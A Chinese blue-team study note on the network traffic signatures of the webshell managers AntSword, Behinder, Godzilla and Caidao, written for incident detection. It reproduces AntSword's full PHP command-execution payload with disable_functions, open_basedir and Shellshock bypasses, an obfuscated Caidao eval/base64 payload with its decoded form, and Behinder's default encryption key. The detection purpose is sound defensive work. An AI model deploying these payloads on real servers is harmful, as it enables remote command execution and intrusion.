Webshell管理工具(蚁剑菜刀哥斯拉冰蝎)流量特征

属于是 hvv 蓝队面试研判必问的了(

还是记一下笔记做一下学习吧。

笔记很简陋,内容也不是很硬核,只是做一个备忘吧,算不上技术文章(

蚁剑

本人最常用的,从刚刚接触 ctf 的 web 题就开始用,今天也是难得从蓝队应急响应的视角去分析一下流量特征

蚁剑在手,纵横无忧

特征就是每个请求体都存在

@ini_set(“display_errors”, “0”);@set_time_limit(0)

的开头,并且后面存在 base64 字符

蚁剑的 shell 如下

bz=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        }
        ;
        $tmdir=$item."/.ed6186882e87";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<sizeof($cntarr);$i++) {
            @chdir("..");
        }
        ;
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    }
    ;
}
;
;
function asenc($out) {
    return $out;
}
;
function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "3198d"."a6ced";
    echo @asenc($output);
    echo "9a9"."babb";
}
ob_start();
try {
    $p=base64_decode(substr($_POST["ec66ed645658bf"],2));
    $s=base64_decode(substr($_POST["t02fccbf7aa98"],2));
    $envstr=@base64_decode(substr($_POST["xdb7635a2818f4"],2));
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
    if(substr($d,0,1)=="/") {
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if(!empty($envstr)) {
        $envarr=explode("|||asline|||", $envstr);
        foreach($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r="{$p} {$c}";
    function fe($f) {
        $d=explode(",",@ini_get("disable_functions"));
        if(empty($d)) {
            $d=array();
        } else {
            $d=array_map('trim',array_map('strtolower',$d));
        }
        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
    }
    ;
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }
    ;
    function runcmd($c) {
        $ret=0;
        $d=dirname($_SERVER["SCRIPT_FILENAME"]);
        if(fe('system')) {
            @system($c,$ret);
        } elseif(fe('passthru')) {
            @passthru($c,$ret);
        } elseif(fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif(fe('exec')) {
            @exec($c,$o,$ret);
            print(join("
",$o));
        } elseif(fe('popen')) {
            $fp=@popen($c,'r');
            while(!@feof($fp)) {
                print(@fgets($fp,2048));
            }
            @pclose($fp);
        } elseif(fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while(!@feof($io[1])) {
                print(@fgets($io[1],2048));
            }
            while(!@feof($io[2])) {
                print(@fgets($io[2],2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif(fe('antsystem')) {
            @antsystem($c);
        } elseif(runshellshock($d, $c)) {
            return $ret;
        } elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
            $w=new COM('WScript.shell');
            $e=$w->exec($c);
            $so=$e->StdOut();
            $ret.=$so->ReadAll();
            $se=$e->StdErr();
            $ret.=$se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    }
    ;
    $ret=@runcmd($r." 2>&1");
    print ($ret!=0)?"ret={$ret}":"";
    ;
}
catch(Exception $e) {
    echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

冰蝎

冰蝎2.0

使用 AES 加密 + Base64 编码,AES 使用动态密钥对通信进行加密。请求时内置了十几个 User-Agent 头,每次请求时会随机选择其中的一个。因此,当发现同一个 IP 的不同请求但是请求头中的 User-Agent 在频繁变换,就可能是冰蝎。

另一强特征:

Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2

冰蝎3.0

Accept&Cache-Control;默认设置:

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Pragma: no-cache
User-Agent: java/1.8

content-type固定为application/octet-stream (强特征)

使用 AES加密 + base64 编码,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为 webshell 连接密码的 MD5 的前 16 位,默认连接密码是 “rebeyond”(即密钥是md5(‘rebeyond’)[0:16]=e45e329feb5d925b)。

同样有 2.0 的动态 UA 头

3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。

冰蝎4.0

哥斯拉

ua头(弱特征)

accept字段:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2(弱特征)

cookie。请求包的Cookie中有一个非常致命的特征,分号;(强特征

请求体特征 (较强特征):比较大的数据包,base64编码

响应体特征 (强特征):如果之前的请求体采用base64编码,响应体返回的也是base64编码Cache-Control: no-store, no-cache, must-revalidate

菜刀

请求包中 ua 头为百度爬虫,火狐

请求实体中存在eval,base64 等特征字符

请求实体中传递的 payload 为 base64 编码,并且存在固定的 base64 编码

菜刀的 shell 如下:

pass = array_map(
    "ass"."ert",
    array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al
(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"
   )
);

解码一下

//display_errors设为0,php不会显示错误信息
@ini_set("display_errors","0");
//设置脚本的最大执行时间为无限制
@set_time_limit(0);  
if (PHP_VERSION < '5.3.0') {
    //如果php版本低于5.3.0则关闭magic_quotes_runtime确保兼容性
    @set_magic_quotes_runtime(0);  
};
echo("X@Y");
//获取当前文件所在目录的路径
$D = dirname(__FILE__);  
$R = "{$D}\t";
//如果当前路径的第一字符不是 / 则表明是 Windows环境
if (substr($D, 0, 1) != "/") {  
    //循环遍历从A到Z的所有字母,查找其中哪个是有效的驱动器(盘符),并将它们加到$R中
    foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
}
$R. = "\t";
//检查是否存在posix_getegid函数,是否运行在支持POSIX的系统,如果支持,则获取当前有效用户的用户信息,否则返回空
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
//获取当前php的运行用户
$usr = ($u) ? $u['name'] : @get_current_user();
//添加操作系统相关信息
$R. = php_uname();  
$R. = "({$usr})";
print $R;;
echo("X@Y");
//结束脚本执行
die();  
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇